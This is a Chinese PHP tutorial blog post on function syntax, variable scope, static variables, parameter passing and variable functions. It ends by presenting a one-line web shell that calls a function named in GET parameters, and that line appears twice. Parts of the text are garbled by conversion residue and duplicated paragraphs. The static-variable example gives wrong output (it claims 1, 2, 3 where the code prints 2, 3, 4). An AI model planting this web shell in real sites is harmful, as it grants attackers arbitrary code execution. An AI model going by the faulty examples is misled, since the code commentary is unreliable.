PHP函数

PHP函数

结构

function 函数名(形参){
代码块;
return;
}

  • 函数调用时,实参按顺序传递给形参
  • 函数调用时,相互对立,默认没有联系
  • 执行完毕后,返回调用位置,继续向下执行
  • 函数默认返回NULL

变量范围

局部变量

函数内定义的变量

变量的作用范围在函数内

全局变量

在函数外部定义的变量

变量的作用域为整个PHP脚本

函数使用全局变量:

  • 传参

  • 声明变量为global

    $a = 1;
    function test(){
        echo $a; //报错
        global $a;
        echo $a; //1
    }
    

静态变量

在函数中定义
用static修饰符修饰
仅在函数初次执行时被触发

function test(){
    static $a = 1;
    echo ++$a;
}
test(); //1
test(); //2
test(); //3

传参

按值传参

  • 默认方式
  • 对形参的操作不影响实参

引用传参

  • 引用参数时加&
  • 相当于给变量起别名,形参改变实参也改变

默认传参

  • 定义函数时给形参设置默认值
  • 没有传参时,形参为默认值

可变函数参数列表

  • func_get_arg(); //根据参数偏移量,从零开始获取参数
  • func_get_args(); //返回一个包含函数参数列表的数组
  • func_num_args(); //获取参数传入个数
function test(){
    echo func_get_arg(1);
    echo "<hr />";
    $num = func_num_args();
    echo $num;
    echo "<hr />";
    $list = func_get_args();
    for($i = 0; $i < $num; $i++){
       	echo $list[$i];
    }
}
test(1,2,3,4,5,6);

image-20210719094639806

可变函数

函数名为变量, a ( a( a(b),函数名为$a

将另一函数的函数名赋值给 a 时 , 如 a时,如 aa=“函数XX”,则$a等同于函数xx

利用可变函数可以写出一句话木马:

$_GET["a"]($_GET["b"]);

image-20210719100116484

数xx

利用可变函数可以写出一句话木马:

$_GET["a"]($_GET["b"]);

[外链图片转存中…(img-W4Jfnun8-1626687193768)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值